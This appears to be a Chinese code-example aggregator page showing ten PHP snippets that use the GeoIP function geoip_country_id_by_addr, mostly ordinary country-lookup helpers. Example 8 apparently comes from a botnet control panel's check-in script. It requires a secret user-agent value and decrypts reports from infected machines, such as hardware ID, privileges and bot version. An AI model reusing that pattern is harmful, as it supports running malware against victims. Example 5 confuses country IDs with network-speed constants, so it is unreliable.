本文整理汇总了PHP中geoip_country_id_by_addr函数的典型用法代码示例。如果您正苦于以下问题:PHP geoip_country_id_by_addr函数的具体用法?PHP geoip_country_id_by_addr怎么用?PHP geoip_country_id_by_addr使用的例子?那么恭喜您, 这里精选的函数代码示例或许可以为您提供帮助。
在下文中一共展示了geoip_country_id_by_addr函数的10个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的PHP代码示例。
示例1: getCountryData
/**
* Find users country.
*
* Attempt to get the country the user is from. returns unknown if its not
* able to match something.
*
* @param string $ipAddress the ip address to check against
* @param bool $code get the country code or not
*
* @return array the data requested
*/
public function getCountryData($ipAddress = null, $code = false)
{
if (!$ipAddress) {
$ipAddress = $this->__getIpAddress();
}
$data = $this->__loadFile();
if (!$data) {
return $this->__emptyCountry;
}
$return = array('country' => geoip_country_name_by_addr($data, $ipAddress), 'country_code' => geoip_country_code_by_addr($data, $ipAddress), 'country_id' => geoip_country_id_by_addr($data, $ipAddress), 'city' => null, 'ip_address' => $ipAddress);
if (empty($return['country']) && $ipAddress == '127.0.0.1') {
$return['country'] = 'localhost';
$return['city'] = 'localhost';
}
geoip_close($data);
unset($data);
return $return;
}
示例2: geoip_country_name_by_addr
function geoip_country_name_by_addr($gi, $addr)
{
if ($gi->databaseType == GEOIP_CITY_EDITION_REV1) {
$record = geoip_record_by_addr($gi, $addr);
return $record->country_name;
} else {
$country_id = geoip_country_id_by_addr($gi, $addr);
if ($country_id !== false) {
return $gi->GEOIP_COUNTRY_NAMES[$country_id];
}
}
return false;
}
示例3: isValid
function isValid($ip_address)
{
return geoip_country_id_by_addr($this->_handler, $ip_address) !== false;
}
示例4: geoip_country_id_by_name
function geoip_country_id_by_name($gi, $name)
{
$addr = gethostbyname($name);
if (!$addr || $addr == $name) {
return false;
}
return geoip_country_id_by_addr($gi, $addr);
}
示例5: geoip_open
<?php
include "geoip.inc";
$gi = geoip_open(dirname(__FILE__) . "\\GeoIPCity.dat", GEOIP_STANDARD);
$netspeed = geoip_country_id_by_addr($gi, "24.24.24.24");
//print $n . "\n";
if ($netspeed == GEOIP_UNKNOWN_SPEED) {
print "Unknown\n";
} else {
if ($netspeed == GEOIP_DIALUP_SPEED) {
print "Dailup\n";
} else {
if ($netspeed == GEOIP_CABLEDSL_SPEED) {
print "Cable/DSL\n";
} else {
if ($netspeed == GEOIP_CORPORATE_SPEED) {
print "Corporate\n";
}
}
}
}
geoip_close($gi);
示例6: geoip_country_code_by_addr
public function geoip_country_code_by_addr($addr)
{
if ($this->databaseType == self::GEOIP_CITY_EDITION_REV1) {
$record = $this->geoip_record_by_addr($addr);
if ($record !== false) {
return $record->country_code;
}
} else {
$country_id = geoip_country_id_by_addr($addr);
if ($country_id !== false) {
return $this->GEOIP_COUNTRY_CODES[$country_id];
}
}
return false;
}
示例7: getCountryId
public function getCountryId()
{
$this->country_id = geoip_country_id_by_addr($this->gi, $this->ip);
return $this->country_id;
}
示例8: geoip_open
include 'inc/geo/geoip.inc';
$gi = geoip_open("inc/geo/GeoIP.dat", "");
$gate = $odb->query("SELECT gate_status FROM settings")->fetchColumn(0);
if ($gate != "1") {
die;
}
if (!isset($_POST['id']) || !isset($_POST['os']) || !isset($_POST['pv']) || !isset($_POST['ip']) || !isset($_POST['cn']) || !isset($_POST['bv'])) {
include 'inc/404.php';
die;
}
if ($_SERVER['HTTP_USER_AGENT'] != "E9BC3BD76216AFA560BFB5ACAF5731A3") {
include 'inc/404.php';
die;
}
$ip = $_SERVER['REMOTE_ADDR'];
$country = geoip_country_id_by_addr($gi, $ip);
$hwid = decrypt($deckey, $_POST['id']);
$opsys = decrypt($deckey, $_POST['os']);
$privs = decrypt($deckey, $_POST['pv']);
$inpat = base64_encode(decrypt($deckey, $_POST['ip']));
$compn = base64_encode(decrypt($deckey, $_POST['cn']));
$botvr = decrypt($deckey, $_POST['bv']);
$lastr = base64_encode(decrypt($deckey, $_POST['lr']));
$opera = "0";
$taskd = "0";
$unins = "0";
if (isset($_POST['op'])) {
$opera = decrypt($deckey, $_POST['op']);
}
if (isset($_POST['td'])) {
$taskd = decrypt($deckey, $_POST['td']);
示例9: geoip_country_name_by_addr
function geoip_country_name_by_addr($gi, $addr)
{
$country_id = geoip_country_id_by_addr($gi, $addr);
if ($country_id !== false) {
return $gi->GEOIP_COUNTRY_NAMES[$country_id];
}
return false;
}
示例10: geoip_country_name_by_addr
public function geoip_country_name_by_addr($gi, $addr)
{
if ($gi->databaseType == self::GEOIP_CITY_EDITION_REV1) {
$record = AnattaDesign_AwesomeCheckout_Model_GeoIP_City::geoip_record_by_addr($gi, $addr, $this);
return $record->country_name;
} else {
$country_id = geoip_country_id_by_addr($gi, $addr);
if ($country_id !== false) {
return $gi->GEOIP_COUNTRY_NAMES[$country_id];
}
}
return false;
}
开发者ID:cesarfelip3,项目名称:clevermage_new,代码行数:13,代码来源:AnattaDesign_AwesomeCheckout_Model_GeoIP_Core.php